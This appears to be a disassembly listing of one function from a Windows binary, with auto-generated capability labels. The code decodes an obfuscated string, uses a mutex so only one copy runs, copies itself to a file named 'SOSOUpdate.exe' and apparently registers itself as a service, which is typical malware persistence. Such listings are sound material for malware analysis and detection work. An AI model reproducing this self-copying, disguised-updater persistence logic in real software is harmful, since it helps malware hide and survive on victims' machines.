Function at 0x401330
Capabilities:
Check if file exists
Check mutex on windows
Copy file

Disassembly:
sub esp, 0x34c
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x14d]
mov byte [esp + 0x14c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x49]
mov byte [esp + 0x48], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x251]
mov byte [esp + 0x250], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, 0x93
mov cl, 0x9f
mov byte [esp + 8], al
mov byte [esp + 0x12], al
mov byte [esp + 0x1d], cl
mov byte [esp + 0x21], cl
mov byte [esp + 0x2a], al
mov byte [esp + 0x32], al
mov cl, 0x82
lea eax, [esp + 8]
push 0x2e
mov dl, 0x86
mov byte [esp + 0x28], cl
mov byte [esp + 0x30], cl
mov byte [esp + 0x38], cl
push eax
push 0x20
lea ecx, [esp + 0x44]
mov byte [esp + 0x15], 0xc3
mov byte [esp + 0x16], 0xd1
mov byte [esp + 0x17], 0xc6
mov byte [esp + 0x18], 0xa9
mov byte [esp + 0x19], 0xc9
mov byte [esp + 0x1a], 0xcc
mov byte [esp + 0x1b], 0xe9
mov byte [esp + 0x1c], 0xbb
mov byte [esp + 0x1d], 0xe7
mov byte [esp + 0x1f], 0x8d
mov byte [esp + 0x20], 0x85
mov byte [esp + 0x21], 0x9e
mov byte [esp + 0x22], 0x91
mov byte [esp + 0x23], 0xf3
mov byte [esp + 0x24], 0xf2
mov byte [esp + 0x25], 0x8b
mov byte [esp + 0x26], 0x95
mov byte [esp + 0x27], 0xf7
mov byte [esp + 0x28], dl
mov byte [esp + 0x2a], 0x8f
mov byte [esp + 0x2b], 0x81
mov byte [esp + 0x2c], 0x83
mov byte [esp + 0x2e], 0xe6
mov byte [esp + 0x2f], 0x98
mov byte [esp + 0x31], 0xe3
mov byte [esp + 0x32], 0x9b
mov byte [esp + 0x33], 0x87
mov byte [esp + 0x34], 0xed
mov byte [esp + 0x35], 0xe4
mov byte [esp + 0x37], 0x8c
mov byte [esp + 0x39], 0x96
mov byte [esp + 0x3a], 0xe7
mov byte [esp + 0x3b], 0xf1
mov byte [esp + 0x3c], dl
mov byte [esp + 0x3d], 0x97
mov byte [esp + 0x3f], dl
mov byte [esp + 0x41], 0xdb
call fcn.004021d0
lea ecx, [esp + 0x38]
call fcn.00402260
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x4015cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
push esi
jne 0x4014ae
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401648
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x41a6f8
call fcn.00402260
push eax
call fcn.004012b0
add esp, 4
mov ecx, 0x41a6f8
call fcn.00402260
push eax
call fcn.00401250
lea ecx, [esp + 0x4c]
push 0x104
push ecx
call fcn.0040fc20
add esp, 0xc
lea edx, [esp + 0x48]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [esp + 0x48]
push 0x104
lea ecx, [esp + 0x254]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea edx, [esp + 0x48]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401531
push eax
lea eax, [esp + 0x4c]
push eax
call fcn.00402db0
add esp, 8
test eax, eax
je 0x4015cc
mov edi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [esp + 0x48]
push str.SOSOUpdate.exe
push ecx
call edi
lea edx, [esp + 0x14c]
push 0x104
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4015cc
lea eax, [esp + 0x48]
lea ecx, [esp + 0x14c]
push eax
push ecx
call sub.MSVCRT.dll__mbsicmp
add esp, 8
test eax, eax
je 0x401607
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 0x48]
push 0
lea eax, [esp + 0x150]
push edx
push eax
call esi
test eax, eax
jne 0x4015f5
lea ecx, [esp + 0x250]
push 0x418290
push ecx
call edi
lea edx, [esp + 0x250]
push 0
lea eax, [esp + 0x150]
push edx
push eax
call esi
test eax, eax
jne 0x4015e0
lea ecx, [esp + 0x14c]
push eax
push ecx
call fcn.00402e70
add esp, 8
lea ecx, [esp + 0x38]
call fcn.00402220
pop edi
xor eax, eax
pop esi
add esp, 0x34c
ret
lea edx, [esp + 0x48]
lea eax, [esp + 0x250]
push edx
push eax
call fcn.00402e70
add esp, 8
lea ecx, [esp + 0x14c]
push 0
push ecx
call fcn.00402e70
add esp, 8
lea edx, [esp + 0x48]
push str.__Service
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, 0x41a6f8
call fcn.00402260
push 0
mov esi, eax
push 0
push 2
lea eax, [esp + 0x54]
push 0x10
push eax
mov ecx, 0x41a740
call fcn.00402260
push eax
push esi
call fcn.004011c0
add esp, 0x1c
test eax, eax
je 0x4015cc
lea ecx, [esp + 0x38]
call fcn.00402220
pop edi
mov eax, 1
pop esi
add esp, 0x34c
ret